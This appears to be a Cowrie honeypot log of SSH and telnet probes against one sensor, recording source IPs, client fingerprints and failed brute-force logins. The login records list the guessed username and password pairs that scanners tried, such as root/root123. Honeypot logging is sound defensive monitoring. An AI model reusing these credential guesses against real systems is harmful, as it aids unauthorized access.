{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:39:46.416556Z","src_ip":"103.27.238.114","session":"df8fa99124d7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"154.205.134.214","src_port":34844,"dst_ip":"159.203.135.109","dst_port":22,"session":"f85796ff004f","protocol":"ssh","message":"New connection: 154.205.134.214:34844 (159.203.135.109:22) [session: f85796ff004f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:40:01.445205Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:40:01.457412Z","src_ip":"154.205.134.214","session":"f85796ff004f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:40:01.633965Z","src_ip":"154.205.134.214","session":"f85796ff004f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sftp_user","password":"123456","message":"login attempt [sftp_user/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:40:02.345769Z","src_ip":"154.205.134.214","session":"f85796ff004f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:40:03.516499Z","src_ip":"154.205.134.214","session":"f85796ff004f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"173.236.247.120","src_port":37908,"dst_ip":"159.203.135.109","dst_port":22,"session":"b6db4e04a87d","protocol":"ssh","message":"New connection: 173.236.247.120:37908 (159.203.135.109:22) [session: b6db4e04a87d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:40:05.760085Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:40:05.763652Z","src_ip":"173.236.247.120","session":"b6db4e04a87d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:40:05.778358Z","src_ip":"173.236.247.120","session":"b6db4e04a87d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"XLM!S3cur3#W0rd","message":"login attempt [root/XLM!S3cur3#W0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:40:05.926654Z","src_ip":"173.236.247.120","session":"b6db4e04a87d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:40:06.942214Z","src_ip":"173.236.247.120","session":"b6db4e04a87d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"178.128.39.166","src_port":49456,"dst_ip":"159.203.135.109","dst_port":22,"session":"a8ab6005b1e3","protocol":"ssh","message":"New connection: 178.128.39.166:49456 (159.203.135.109:22) [session: a8ab6005b1e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:40:17.061013Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:40:17.064479Z","src_ip":"178.128.39.166","session":"a8ab6005b1e3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:40:17.168019Z","src_ip":"178.128.39.166","session":"a8ab6005b1e3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root123","message":"login attempt [root/root123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:40:17.509531Z","src_ip":"178.128.39.166","session":"a8ab6005b1e3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:40:18.635415Z","src_ip":"178.128.39.166","session":"a8ab6005b1e3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"130.1","message":"Connection lost after 130.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:40:43.083126Z","src_ip":"128.185.56.205","session":"f360d552fa39","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":40596,"dst_ip":"159.203.135.109","dst_port":23,"session":"dd496549188f","protocol":"telnet","message":"New connection: 107.6.151.170:40596 (159.203.135.109:23) [session: dd496549188f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:40:53.326674Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.190.89.127","src_port":39446,"dst_ip":"159.203.135.109","dst_port":22,"session":"a72ea537300d","protocol":"ssh","message":"New connection: 172.190.89.127:39446 (159.203.135.109:22) [session: a72ea537300d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:41:00.974649Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:41:00.978858Z","src_ip":"172.190.89.127","session":"a72ea537300d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:41:00.992753Z","src_ip":"172.190.89.127","session":"a72ea537300d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa,123456","message":"login attempt [root/Aa,123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:41:01.084369Z","src_ip":"172.190.89.127","session":"a72ea537300d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:41:02.100896Z","src_ip":"172.190.89.127","session":"a72ea537300d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"85.214.154.50","src_port":38230,"dst_ip":"159.203.135.109","dst_port":22,"session":"7bc9858efa38","protocol":"ssh","message":"New connection: 85.214.154.50:38230 (159.203.135.109:22) [session: 7bc9858efa38]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:41:05.036100Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:41:05.039477Z","src_ip":"85.214.154.50","session":"7bc9858efa38","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:41:05.132297Z","src_ip":"85.214.154.50","session":"7bc9858efa38","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"snx789","message":"login attempt [root/snx789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:41:05.412487Z","src_ip":"85.214.154.50","session":"7bc9858efa38","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:41:06.507571Z","src_ip":"85.214.154.50","session":"7bc9858efa38","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:41:21.473645Z","src_ip":"162.144.64.128","session":"5d804c6b5698","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"41.242.115.84","src_port":38062,"dst_ip":"159.203.135.109","dst_port":22,"session":"f82ca4447ba5","protocol":"ssh","message":"New connection: 41.242.115.84:38062 (159.203.135.109:22) [session: f82ca4447ba5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:41:29.399436Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:41:29.402933Z","src_ip":"41.242.115.84","session":"f82ca4447ba5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:41:29.601342Z","src_ip":"41.242.115.84","session":"f82ca4447ba5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!@qw#$er","message":"login attempt [root/!@qw#$er] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:41:30.432256Z","src_ip":"41.242.115.84","session":"f82ca4447ba5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:41:31.633639Z","src_ip":"41.242.115.84","session":"f82ca4447ba5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":51.79441475868225,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:41:45.120965Z","src_ip":"107.6.151.170","session":"dd496549188f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"154.205.134.214","src_port":35070,"dst_ip":"159.203.135.109","dst_port":22,"session":"108953ce7bca","protocol":"ssh","message":"New connection: 154.205.134.214:35070 (159.203.135.109:22) [session: 108953ce7bca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:42:01.072467Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:42:01.079474Z","src_ip":"154.205.134.214","session":"108953ce7bca","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:42:01.238209Z","src_ip":"154.205.134.214","session":"108953ce7bca","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Abc123456@","message":"login attempt [root/Abc123456@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:42:01.910236Z","src_ip":"154.205.134.214","session":"108953ce7bca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:42:03.072817Z","src_ip":"154.205.134.214","session":"108953ce7bca","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.75.11","src_port":57886,"dst_ip":"159.203.135.109","dst_port":22,"session":"669d30e538f8","protocol":"ssh","message":"New connection: 161.97.75.11:57886 (159.203.135.109:22) [session: 669d30e538f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:42:20.530461Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:42:20.533555Z","src_ip":"161.97.75.11","session":"669d30e538f8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:42:20.628369Z","src_ip":"161.97.75.11","session":"669d30e538f8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ambersgroup","password":"ambers123","message":"login attempt [ambersgroup/ambers123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:42:20.918390Z","src_ip":"161.97.75.11","session":"669d30e538f8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:42:22.017609Z","src_ip":"161.97.75.11","session":"669d30e538f8","protocol":"ssh"}
